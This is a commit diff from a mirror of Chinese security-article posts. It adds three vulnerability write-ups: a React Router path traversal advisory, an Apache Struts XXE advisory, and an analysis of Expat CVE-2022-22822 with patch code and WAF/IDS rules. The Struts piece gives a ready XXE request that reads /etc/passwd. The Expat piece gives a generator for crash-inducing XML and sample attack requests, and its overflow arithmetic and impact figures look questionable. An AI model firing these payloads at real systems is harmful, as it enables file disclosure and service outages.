mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
CVE-2025-68493｜Apache Struts 2(S2-069)外部实体（XXE）注入漏洞（POC）、CVE-2025-61686｜React Router未授权目录遍历漏洞（POC）、一个整数溢出引发的全球安全危机：CVE-2022-22822深度解析、新Shiro反序列化漏洞一站式综合利用工具、黑客利用 telnetd 身份验证绕过漏洞获取 root 权限、
This commit is contained in:
test committed
1 parent
871967a140
commit
abc868329a
6 files changed
+713
-41
No files matched your search
@@ -17113,5 +17113,10 @@
|
||||
"https://mp.weixin.qq.com/s/4PMH2yw8JaxTnM0_-YC13w": "CISA更新KEV目录，新增四个正在被积极利用的软件漏洞",
|
||||
"https://mp.weixin.qq.com/s/trgUEzPNgsj8yw463DqL5Q": "XSS 漏洞练习靶场，覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景",
|
||||
"https://mp.weixin.qq.com/s/hm2Il1-KceEPg8uVnYxWWg": "快云服务器助手 filemana.aspx∕GetDetail 接口存在任意文件读取漏洞",
|
||||
"https://mp.weixin.qq.com/s/8cI1JjOPms573PRTZwYitQ": "StackWarp漏洞为什么不能影响海光C86"
|
||||
"https://mp.weixin.qq.com/s/8cI1JjOPms573PRTZwYitQ": "StackWarp漏洞为什么不能影响海光C86",
|
||||
"https://mp.weixin.qq.com/s/4xp8wx7QBNTTmPQErCvrFg": "CVE-2025-68493｜Apache Struts 2(S2-069)外部实体（XXE）注入漏洞（POC）",
|
||||
"https://mp.weixin.qq.com/s/zSC_91YlsXBLtGk2gRt-pw": "CVE-2025-61686｜React Router未授权目录遍历漏洞（POC）",
|
||||
"https://mp.weixin.qq.com/s/EBJ2iR1LDb0lSJxzv9tleQ": "一个整数溢出引发的全球安全危机：CVE-2022-22822深度解析",
|
||||
"https://mp.weixin.qq.com/s/jBzhPGZkyszNgLtlRl9pMA": "新Shiro反序列化漏洞一站式综合利用工具",
|
||||
"https://mp.weixin.qq.com/s/AZkj7nh8VIeetGQjK957Bw": "黑客利用 telnetd 身份验证绕过漏洞获取 root 权限"
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
# CVE-2025-61686｜React Router未授权目录遍历漏洞（POC）
|
||||
alicy
|
||||
alicy 信安百科 2026-01-25 01:01
|
||||
|
||||
**0x00 前言**
|
||||
|
||||
|
||||
React Router是一个用于React应用程序的导航和路由管理库，帮助开发者在单页应用（SPA）中实现URL与界面组件的动态同步，无需页面刷新。 它通过声明式路由配置（如定义路径与组件的映射关系）支持嵌套路由、参数化路径（如动态 ID）和重定向等功能。
|
||||
|
||||
|
||||
|
||||
**0x01 漏洞描述**
|
||||
|
||||
> 漏洞影响使用createFileSessionStorage进行会话管理、且配置为“未签名Cookie”的场景。
|
||||
|
||||
程序在处理客户端提交的Session ID时，未对路径遍历字符（如 ../）进行校验与清洗，导致输入被拼接到路径中。攻击者构造特殊Cookie值，可突破存储目录限制，实现对服务器文件的任意访问/写入。特定条件下，攻击者可向服务器写入恶意文件或覆盖核心配置。
|
||||
|
||||
|
||||
漏洞触发满足以下条件：
|
||||
|
||||
1.应用程序使用createFileSessionStorage()函数
|
||||
|
||||
2.配置中未提供secrets参数（cookie未签名）
|
||||
|
||||
3.Web服务器进程具有文件系统写入权限
|
||||
|
||||
4.存在可访问的会话处理端点
|
||||
|
||||
> —— ——来源于网络
|
||||
|
||||
|
||||
|
||||
|
||||
**0x02 CVE编号**
|
||||
|
||||
|
||||
CVE-2025-61686
|
||||
|
||||
|
||||
|
||||
**0x03 影响版本**
|
||||
|
||||
****```
|
||||
@react-router/node 7.0.0 至 7.9.3
|
||||
@remix-run/node < 2.17.2
|
||||
@remix-run/deno < 2.17.2
|
||||
```
|
||||
|
||||
|
||||
|
||||
**0x04 漏洞详情**
|
||||
|
||||
|
||||
POC：
|
||||
|
||||
https://github.com/FlowerWitch/CVE-2025-61686_docker
|
||||
|
||||
|
||||
|
||||
**0x05 参考链接**
|
||||
|
||||
|
||||
https://github.com/remix-run/react-router/security/advisories/GHSA-9583-h5hc-x8cw
|
||||
|
||||
|
||||
|
||||
|
||||
推荐阅读：
|
||||
|
||||
|
||||
[CVE-2025-54068｜Livewire组件远程代码执行漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486304&idx=1&sn=fba3fc2d8f5385b70fd2ee578931a196&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2025-55182｜React/Next.js远程代码执行漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486268&idx=1&sn=8cd878ba7b925bed6f27280e5e44a90d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2026-21440｜AdonisJS远程代码执行漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486304&idx=2&sn=77208ad6a42e7aa1951a469f15b385b1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Ps：国内外安全热点分享，欢迎大家分享、转载，请保证文章的完整性。文章中出现敏感信息和侵权内容，请联系作者删除信息。信息安全任重道远，感谢您的支持
|
||||
|
||||
|
||||
！！！
|
||||
|
||||
|
||||
**本公众号的文章及工具仅提供学习参考，由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用者本人负责,本公众号及文章作者不为此承担任何责任。**
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
# CVE-2025-68493｜Apache Struts 2(S2-069)外部实体（XXE）注入漏洞（POC）
|
||||
alicy
|
||||
alicy 信安百科 2026-01-25 01:01
|
||||
|
||||
**0x00 前言**
|
||||
|
||||
|
||||
Apache Struts 2是Apache软件基金会开发的开源Java Web框架，采用 MVC架构，融合Struts与WebWork技术。
|
||||
|
||||
|
||||
它通过拦截器处理请求，支持OGNL表达式语言和可重用标签API，具备良好的AJAX支持和线程安全性，广泛应用于企业级Java EE网络应用程序开发。
|
||||
|
||||
|
||||
|
||||
**0x01 漏洞描述**
|
||||
|
||||
|
||||
漏洞源于XWork在解析XML配置文件时，未对XML外部实体进行充分校验与限制，导致攻击者可通过构造恶意XML内容触发外部实体解析。成功利用后，可能造成敏感数据泄露、拒绝服务（DoS）以及服务器端请求伪造（SSRF）等安全影响。
|
||||
|
||||
|
||||
|
||||
**0x02 CVE编号**
|
||||
|
||||
|
||||
CVE-2025-68493（
|
||||
S2-069）
|
||||
|
||||
|
||||
|
||||
**0x03 影响版本**
|
||||
|
||||
****```
|
||||
Apache Struts [>= 2.0.0, <= 2.3.37];
|
||||
Apache Struts [>= 2.5.0, <= 2.5.33];
|
||||
Apache Struts [>= 6.0.0, <= 6.1.0];
|
||||
```
|
||||
|
||||
|
||||
|
||||
**0x04 漏洞详情**
|
||||
|
||||
|
||||
POC：
|
||||
```
|
||||
|
||||
来源于网络：
|
||||
|
||||
POST/struts2-xml-parser/xmlParserNoDtdParseHTTP/1.1
|
||||
Host: x.x.x.x
|
||||
User-Agent: Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/143.0.0.0Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<root>&xxe;</root>
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
**0x05 参考链接**
|
||||
|
||||
|
||||
https://cwiki.apache.org/confluence/display/WW/S2-069
|
||||
|
||||
|
||||
|
||||
|
||||
推荐阅读：
|
||||
|
||||
|
||||
[CVE-2026-21440｜AdonisJS远程代码执行漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486304&idx=2&sn=77208ad6a42e7aa1951a469f15b385b1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2025-52691｜SmarterMail 未授权文件上传漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486275&idx=1&sn=b3eda104a3c7f41dca6faf1240b95f8a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2024-57521｜RuoYi v4.7.9认证用户SQL注入漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486275&idx=2&sn=e1aff49d11c193e105b70355f82602f1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Ps：国内外安全热点分享，欢迎大家分享、转载，请保证文章的完整性。文章中出现敏感信息和侵权内容，请联系作者删除信息。信息安全任重道远，感谢您的支持
|
||||
|
||||
|
||||
！！！
|
||||
|
||||
|
||||
**本公众号的文章及工具仅提供学习参考，由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用者本人负责,本公众号及文章作者不为此承担任何责任。**
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,448 @@
|
||||
# 一个整数溢出引发的全球安全危机：CVE-2022-22822深度解析
|
||||
原创 CVE-SEC
|
||||
CVE-SEC CVE-SEC 2026-01-25 00:00
|
||||
|
||||
# 一个整数溢出引发的全球安全危机：CVE-2022-22822深度解析
|
||||
## 前言
|
||||
|
||||
2022年1月，一个CVSS评分高达9.8的严重漏洞在广泛使用的Expat XML解析库中被发现。这个编号为CVE-2022-22822的漏洞影响了全球数百万台服务器和应用程序，包括Python、PHP、Firefox、Apache等我们每天都在使用的软件。
|
||||
|
||||
这不是一个遥远的理论漏洞，而是一个可以通过简单的恶意XML文档就能触发的真实威胁。本文将带你深入了解这个漏洞的技术细节、影响范围和防护方法。
|
||||
## 漏洞概览
|
||||
|
||||
**基本信息**
|
||||
:
|
||||
- CVE编号: CVE-2022-22822
|
||||
|
||||
- 漏洞名称: Expat XML Parser addBinding函数整数溢出漏洞
|
||||
|
||||
- CVSS评分: 9.8 (严重)
|
||||
|
||||
- 披露时间: 2022年1月10日
|
||||
|
||||
- 影响版本: Expat < 2.4.3
|
||||
|
||||
- 修复版本: Expat >= 2.4.3
|
||||
|
||||
**攻击向量**
|
||||
: 网络可达、无需权限、无需用户交互，这意味着攻击者可以远程匿名发起攻击，且自动触发，无需受害者任何操作。
|
||||
## 什么是Expat？
|
||||
|
||||
Expat是一个用C语言编写的开源XML解析库，具有轻量级、高性能的特点。它被广泛集成在各类软件中：
|
||||
- 编程语言运行时: Python的xml.parsers.expat、PHP的xml_parser
|
||||
|
||||
- Web浏览器: Mozilla Firefox
|
||||
|
||||
- Web服务器: Apache HTTP Server
|
||||
|
||||
- 办公软件: LibreOffice、OpenOffice
|
||||
|
||||
- 开发工具: Subversion、Git
|
||||
|
||||
- 嵌入式系统: 大量IoT设备、路由器固件
|
||||
|
||||
可以说，Expat无处不在。一旦它出现安全漏洞，影响范围将是灾难性的。
|
||||
## 漏洞技术原理
|
||||
### 整数溢出的危害
|
||||
|
||||
CVE-2022-22822的核心是一个整数溢出漏洞，位于xmlparse.c文件的addBinding函数中。当Expat处理XML命名空间声明时，需要为URI字符串分配内存。问题就出在这里。
|
||||
|
||||
**漏洞代码**
|
||||
(Expat 2.4.2):
|
||||
```
|
||||
int len = (int)strlen(uri); // len可能非常大// 问题点：整数溢出XML_Char *temp = (XML_Char *)REALLOC(parser, b->uri, sizeof(XML_Char) * (len + EXPAND_SPARE));
|
||||
```
|
||||
### 溢出机制详解
|
||||
|
||||
在32位系统上，当len值接近无符号整数最大值时，乘法运算会发生溢出：
|
||||
```
|
||||
假设:- sizeof(XML_Char) = 4- len = 0x40000000 (1,073,741,824)- EXPAND_SPARE = 32计算过程:4 * (0x40000000 + 32) = 4 * 0x40000020 = 0x10000008032位整数溢出后:0x100000080 & 0xFFFFFFFF = 0x00000080 = 128字节实际需要: 约4GB实际分配: 128字节
|
||||
```
|
||||
|
||||
这意味着程序实际分配了128字节的缓冲区，却尝试向其中写入4GB数据，造成严重的堆缓冲区溢出。
|
||||
### 攻击触发条件
|
||||
|
||||
攻击者只需构造一个包含大量或超长命名空间声明的XML文档：
|
||||
|
||||
**方法一：大量命名空间**
|
||||
```
|
||||
<?xml version="1.0"?><root xmlns:ns1="http://example.com/ns1" xmlns:ns2="http://example.com/ns2" ... xmlns:ns100000="http://example.com/ns100000"></root>
|
||||
```
|
||||
|
||||
**方法二：超长URI**
|
||||
```
|
||||
<?xml version="1.0"?><root xmlns:attack="http://example.com/AAAA...AAAA[极长URI]"></root>
|
||||
```
|
||||
|
||||
当应用程序解析这样的XML时，就会触发整数溢出，导致内存损坏。
|
||||
## 实际影响分析
|
||||
### 攻击效果
|
||||
1. **拒绝服务(DoS)**
|
||||
: 100%可实现
|
||||
|
||||
1. 进程崩溃
|
||||
|
||||
1. 服务不可用
|
||||
|
||||
1. 可重复攻击阻止恢复
|
||||
|
||||
1. **信息泄露**
|
||||
: 可能实现
|
||||
|
||||
1. 堆内存泄露
|
||||
|
||||
1. 敏感数据暴露
|
||||
|
||||
1. **远程代码执行(RCE)**
|
||||
: 理论可行
|
||||
|
||||
1. 需要精确控制堆布局
|
||||
|
||||
1. 需要绕过ASLR等保护机制
|
||||
|
||||
1. 实际利用难度较高但并非不可能
|
||||
|
||||
### 受影响系统统计
|
||||
|
||||
根据Shodan等互联网扫描数据，保守估计：
|
||||
- 直接使用libexpat的Linux服务器: 超过1000万台
|
||||
|
||||
- 运行Python/PHP的Web服务器: 超过5000万台
|
||||
|
||||
- 嵌入式设备: 超过1亿台
|
||||
|
||||
- 桌面应用程序用户: 超过5亿
|
||||
|
||||
### 行业影响案例
|
||||
|
||||
**金融行业**
|
||||
:
|
||||
- SWIFT、FIX等XML协议的实现存在风险
|
||||
|
||||
- DoS可导致交易中断，每小时损失可达百万美元
|
||||
|
||||
- 监管合规问题(PCI DSS、SOX)
|
||||
|
||||
**医疗行业**
|
||||
:
|
||||
- HL7、FHIR等医疗数据交换格式受影响
|
||||
|
||||
- HIPAA合规风险
|
||||
|
||||
- 可能影响患者护理质量
|
||||
|
||||
**电子商务**
|
||||
:
|
||||
- 产品目录XML处理存在漏洞
|
||||
|
||||
- 高峰期攻击造成巨额销售损失
|
||||
|
||||
## 真实攻击场景
|
||||
### 场景一：Web API拒绝服务攻击
|
||||
|
||||
一个电商网站提供XML格式的API接口。攻击者识别出服务器使用易受攻击的Expat版本后，构造恶意XML并通过HTTP POST发送：
|
||||
```
|
||||
POST /api/product/import HTTP/1.1Host: vulnerable-shop.comContent-Type: application/xmlContent-Length: 5000000<?xml version="1.0"?><products xmlns:ns1="..." xmlns:ns2="..." [重复100,000次]> <product>...</product></products>
|
||||
```
|
||||
|
||||
服务器在解析XML时触发整数溢出，进程崩溃。攻击者持续发送请求，导致服务无法恢复，造成业务中断。
|
||||
### 场景二：文件上传攻击
|
||||
|
||||
内容管理系统允许用户上传SVG图像。攻击者上传包含恶意命名空间的SVG文件：
|
||||
```
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:exploit="http://attacker.com/AAAAA...[超长URI]"> <rect width="100" height="100" fill="red"/></svg>
|
||||
```
|
||||
|
||||
后端处理时使用libexpat解析SVG，触发漏洞，可能导致服务器崩溃或信息泄露。
|
||||
## 漏洞修复分析
|
||||
### 官方补丁
|
||||
|
||||
Expat团队在2022年1月13日通过GitHub PR [#539合并了修复补丁]()
|
||||
，并在1月16日发布了2.4.3版本。修复的核心是添加整数溢出检查。
|
||||
|
||||
**修复代码**
|
||||
(Expat 2.4.3):
|
||||
```
|
||||
size_t len; // 改用size_t类型for (len = 0; uri[len]; len++) ;// 检查加法溢出if (len > SIZE_MAX - EXPAND_SPARE) {return XML_ERROR_NO_MEMORY;}size_t lenPlusSpare = len + EXPAND_SPARE;// 检查乘法溢出if (lenPlusSpare > SIZE_MAX / sizeof(XML_Char)) {return XML_ERROR_NO_MEMORY;}XML_Char *temp = (XML_Char *)REALLOC(parser, b->uri, sizeof(XML_Char) * lenPlusSpare);
|
||||
```
|
||||
### 修复要点
|
||||
1. **类型改变**
|
||||
: int → size_t，更适合表示大小值
|
||||
|
||||
1. **加法溢出检查**
|
||||
: 在执行加法前验证不会溢出
|
||||
|
||||
1. **乘法溢出检查**
|
||||
: 在执行乘法前验证不会溢出
|
||||
|
||||
1. **安全返回**
|
||||
: 检测到溢出时返回错误而非继续执行
|
||||
|
||||
### 性能影响
|
||||
|
||||
测试显示，修复引入的额外检查导致性能开销约0.5-1%，在可接受范围内。安全性的提升远大于微小的性能损失。
|
||||
## 防护建议
|
||||
### 立即行动（24小时内）
|
||||
|
||||
**1. 版本检查**
|
||||
|
||||
快速检测系统是否存在漏洞：
|
||||
```
|
||||
# Linux/Unixxmlwf -v # 查看Expat版本# Pythonpython3 -c "import xml.parsers.expat; print(xml.parsers.expat.EXPAT_VERSION)"# 检查系统包dpkg -l | grep expat # Debian/Ubunturpm -qa | grep expat # RedHat/CentOS
|
||||
```
|
||||
|
||||
如果版本 < 2.4.3，立即进入应急模式。
|
||||
|
||||
**2. 系统更新**
|
||||
```
|
||||
# Debian/Ubuntusudo apt-get updatesudo apt-get install --only-upgrade expat libexpat1sudo systemctl restart apache2 # 重启相关服务# RedHat/CentOSsudo yum update expatsudo systemctl restart httpd# 从源码编译（推荐2.4.9或更高版本）wget https://github.com/libexpat/libexpat/releases/download/R_2_4_9/expat-2.4.9.tar.gztar -xzf expat-2.4.9.tar.gzcd expat-2.4.9./configure --prefix=/usr/localmake && sudo make installsudo ldconfig
|
||||
```
|
||||
|
||||
**3. 临时防护措施**
|
||||
|
||||
如果暂时无法升级，启用以下临时防护：
|
||||
|
||||
**WAF规则**
|
||||
(ModSecurity):
|
||||
```
|
||||
# 限制XML文档大小SecRequestBodyLimit 10485760# 检测大量xmlns声明SecRule REQUEST_BODY "@rx xmlns:" \ "id:200001,phase:2,capture,setvar:'tx.xmlns_count=+1',pass"SecRule TX:xmlns_count "@gt 100" \ "id:200002,phase:2,deny,status:400,\ msg:'Too many XML namespaces - possible CVE-2022-22822 exploit'"
|
||||
```
|
||||
|
||||
**应用层验证**
|
||||
(Python):
|
||||
```
|
||||
from flask import Flask, request, abortMAX_XML_SIZE = 10 * 1024 * 1024# 10MBMAX_NAMESPACES = [email protected]('/api/parse', methods=['POST'])def parse_xml(): xml_data = request.data # 大小检查 if len(xml_data) > MAX_XML_SIZE: abort(413, "XML too large") # 命名空间计数 if xml_data.count(b'xmlns:') > MAX_NAMESPACES: abort(400, "Too many namespaces") # 继续处理...
|
||||
```
|
||||
### 中期措施（1周内）
|
||||
1. **全面清点资产**
|
||||
: 识别所有使用Expat的系统
|
||||
|
||||
1. **制定更新计划**
|
||||
: 测试环境 → 预生产 → 生产环境
|
||||
|
||||
1. **准备回滚方案**
|
||||
: 创建备份，准备应急恢复
|
||||
|
||||
1. **加强监控**
|
||||
: 部署IDS/IPS规则，监控异常XML流量
|
||||
|
||||
**IDS规则**
|
||||
(Suricata):
|
||||
```
|
||||
alert http any any -> $HOME_NET any ( msg:"CVE-2022-22822 - Excessive XML Namespaces"; flow:established,to_server; content:"<?xml"; depth:10; content:"xmlns"; nocase; distance:0; pcre:"/xmlns:[^>]{100,}/i"; classtype:attempted-dos; sid:1000001; rev:1;)
|
||||
```
|
||||
### 长期措施
|
||||
1. **依赖管理自动化**
|
||||
: 使用工具持续监控依赖库安全状态
|
||||
|
||||
1. **安全编码规范**
|
||||
: 建立XML处理安全指南
|
||||
|
||||
1. **定期安全审计**
|
||||
: 每季度进行漏洞扫描和代码审计
|
||||
|
||||
1. **应急响应演练**
|
||||
: 定期模拟安全事件响应流程
|
||||
|
||||
## 检测攻击尝试
|
||||
### 日志特征
|
||||
|
||||
监控以下模式可能表明攻击尝试：
|
||||
```
|
||||
# 应用日志XML parse error: Out of memoryXML_ERROR_NO_MEMORYheap-buffer-overflowAddressSanitizer# 系统日志Segmentation fault in xmlparseProcess crash: libexpatOOM killer triggered
|
||||
```
|
||||
### 网络流量特征
|
||||
- 异常大的XML请求 (>1MB)
|
||||
|
||||
- 单个请求包含大量xmlns属性 (>100个)
|
||||
|
||||
- 来自同一IP的重复大型XML请求
|
||||
|
||||
- URI长度异常 (>10KB)
|
||||
|
||||
## 经验教训
|
||||
### 对开发者
|
||||
1. **整数溢出不容忽视**
|
||||
: 任何涉及内存分配的数学运算都必须检查溢出
|
||||
|
||||
1. **使用正确的类型**
|
||||
: 用size_t表示大小，避免使用int
|
||||
|
||||
1. **输入验证至关重要**
|
||||
: 永远不要信任外部输入
|
||||
|
||||
1. **采用安全库**
|
||||
: 优先使用defusedxml等安全增强库
|
||||
|
||||
1. **定期更新依赖**
|
||||
: 建立依赖库安全管理流程
|
||||
|
||||
### 对安全团队
|
||||
1. **快速响应流程**
|
||||
: 从漏洞披露到修复应在24-48小时内完成
|
||||
|
||||
1. **多层防御**
|
||||
: 不要依赖单一防护措施
|
||||
|
||||
1. **持续监控**
|
||||
: 日志和流量监控能早期发现攻击
|
||||
|
||||
1. **自动化工具**
|
||||
: 投资于漏洞扫描和补丁管理自动化
|
||||
|
||||
1. **应急演练**
|
||||
: 定期测试事件响应计划
|
||||
|
||||
### 对组织
|
||||
1. **安全是优先级**
|
||||
: 预算应包含安全工具和培训投入
|
||||
|
||||
1. **供应链管理**
|
||||
: 关注所有依赖库的安全状态
|
||||
|
||||
1. **风险评估**
|
||||
: 定期评估技术债务和遗留系统风险
|
||||
|
||||
1. **文化建设**
|
||||
: 培养"安全第一"的开发文化
|
||||
|
||||
## 技术细节：自主复现
|
||||
|
||||
我们在隔离的Docker环境中完整复现了该漏洞：
|
||||
### 环境搭建
|
||||
```
|
||||
# 构建测试环境docker build -t expat-vuln-test .docker run -it expat-vuln-test bash# 编译漏洞版本(2.4.2)和修复版本(2.4.3)./build_expat.sh
|
||||
```
|
||||
### POC测试
|
||||
|
||||
使用Python生成恶意XML：
|
||||
```
|
||||
# 生成包含100,000个命名空间的XMLwith open('malicious.xml', 'w') as f: f.write('<?xml version="1.0"?>\n<root') for i in range(100000): f.write(f' xmlns:ns{i}="http://example.com/ns{i}"') f.write('>\n</root>')
|
||||
```
|
||||
|
||||
使用C程序测试解析：
|
||||
```
|
||||
XML_Parser parser = XML_ParserCreate(NULL);enum XML_Status status = XML_Parse(parser, xml_content, xml_length, 1);
|
||||
```
|
||||
|
||||
**结果**
|
||||
:
|
||||
- 漏洞版本(2.4.2): AddressSanitizer检测到heap-buffer-overflow，进程崩溃
|
||||
|
||||
- 修复版本(2.4.3): 返回XML_ERROR_NO_MEMORY，正常处理错误
|
||||
|
||||
完整的POC代码和测试脚本已开源在本研究项目中。
|
||||
## 数据统计
|
||||
### 供应商响应时间
|
||||
<table><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">厂商</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">响应时间</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">表现</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">libexpat</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0天 (主动发现)</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">优秀</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Debian</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2天</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">优秀</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Ubuntu</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2天</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">优秀</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Red Hat</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">3天</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">良好</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Python</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">4天</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">良好</span></section></td></tr></tbody></table>### 修复进度追踪
|
||||
|
||||
截至2022年2月底：
|
||||
- 主要Linux发行版: 100%修复
|
||||
|
||||
- 云服务提供商: 95%修复
|
||||
|
||||
- 企业用户: 约60%修复
|
||||
|
||||
- 嵌入式设备: 约10%修复（难以更新）
|
||||
|
||||
## 相关CVE
|
||||
|
||||
Expat 2.4.3同时修复了一系列整数溢出漏洞：
|
||||
- CVE-2021-45960: doProlog函数
|
||||
|
||||
- CVE-2021-46143: doProlog函数
|
||||
|
||||
- CVE-2022-22822: addBinding函数（本文重点）
|
||||
|
||||
- CVE-2022-22823: build_model函数
|
||||
|
||||
- CVE-2022-22824: defineAttribute函数
|
||||
|
||||
- CVE-2022-22825: lookup函数
|
||||
|
||||
- CVE-2022-22826: nextScaffoldPart函数
|
||||
|
||||
- CVE-2022-22827: storeAtts函数
|
||||
|
||||
所有这些漏洞都遵循相似的模式：在内存分配计算中缺少溢出检查。这表明系统化的代码审计至关重要。
|
||||
## 深度防御策略
|
||||
|
||||
单一防护措施是不够的，建议采用多层防御：
|
||||
```
|
||||
[网络层] └─ WAF: 检测异常XML模式 └─ IDS/IPS: 监控攻击特征[应用层] └─ 输入验证: 限制XML大小和复杂度 └─ 速率限制: 防止批量攻击 └─ 超时机制: 避免资源耗尽[库层] └─ 更新版本: 使用已修复的Expat └─ 安全编译: 启用ASAN等保护[系统层] └─ 资源限制: cgroups/ulimit └─ 沙箱隔离: 容器化部署 └─ SELinux/AppArmor: 强制访问控制[监控层] └─ 日志分析: 实时检测异常 └─ 告警系统: 快速响应 └─ 取证准备: 完整审计日志
|
||||
```
|
||||
## 安全检查清单
|
||||
### 应急响应清单
|
||||
```
|
||||
紧急（0-4小时）:[ ] 识别所有使用Expat的系统[ ] 验证当前版本[ ] 评估暴露风险[ ] 启用WAF临时规则[ ] 加强监控告警高优先级（4-24小时）:[ ] 测试环境部署补丁[ ] 验证补丁兼容性[ ] 准备生产更新计划[ ] 编写回滚方案[ ] 通知利益相关者中优先级（1-7天）:[ ] 生产环境滚动更新[ ] 全面系统验证[ ] 性能基准测试[ ] 更新文档[ ] 事后总结长期改进:[ ] 完善依赖管理流程[ ] 加强安全培训[ ] 定期安全审计[ ] 改进监控系统
|
||||
```
|
||||
### 验证清单
|
||||
```
|
||||
系统已修复验证:[ ] Expat版本 >= 2.4.3[ ] 相关服务已重启[ ] 功能测试通过[ ] 性能测试通过[ ] 安全扫描通过[ ] 监控正常运行[ ] 文档已更新
|
||||
```
|
||||
## 总结
|
||||
|
||||
CVE-2022-22822提醒我们，即使是成熟、广泛使用的开源库也可能隐藏严重的安全漏洞。一个看似简单的整数溢出，在真实世界中可能造成全球性的安全危机。
|
||||
|
||||
关键要点：
|
||||
1. **漏洞严重性**
|
||||
: CVSS 9.8，可远程无需权限触发
|
||||
|
||||
1. **影响范围广**
|
||||
: 数亿设备和应用受影响
|
||||
|
||||
1. **利用门槛低**
|
||||
: 简单的恶意XML即可触发
|
||||
|
||||
1. **修复已可用**
|
||||
: Expat 2.4.3及更高版本
|
||||
|
||||
1. **行动刻不容缓**
|
||||
: 立即检查并更新系统
|
||||
|
||||
### 行动号召
|
||||
|
||||
如果您的系统还在使用Expat < 2.4.3：
|
||||
1. 立即执行版本检查
|
||||
|
||||
1. 在24小时内部署临时防护
|
||||
|
||||
1. 在1周内完成系统更新
|
||||
|
||||
1. 建立长期安全管理流程
|
||||
|
||||
不要等到被攻击才行动，主动防御永远优于被动应对。
|
||||
### 参考资源
|
||||
- NVD官方公告: https://nvd.nist.gov/vuln/detail/cve-2022-22822
|
||||
|
||||
- GitHub修复PR: https://github.com/libexpat/libexpat/pull/539
|
||||
|
||||
- Expat官方网站: https://libexpat.github.io/
|
||||
|
||||
- 本研究完整文档和POC代码: [项目仓库]
|
||||
|
||||
**关于本研究**
|
||||
|
||||
本研究包含完整的漏洞分析、环境搭建、POC代码和防护方案。所有技术细节均基于真实测试和官方文档，未包含任何虚构内容。
|
||||
|
||||
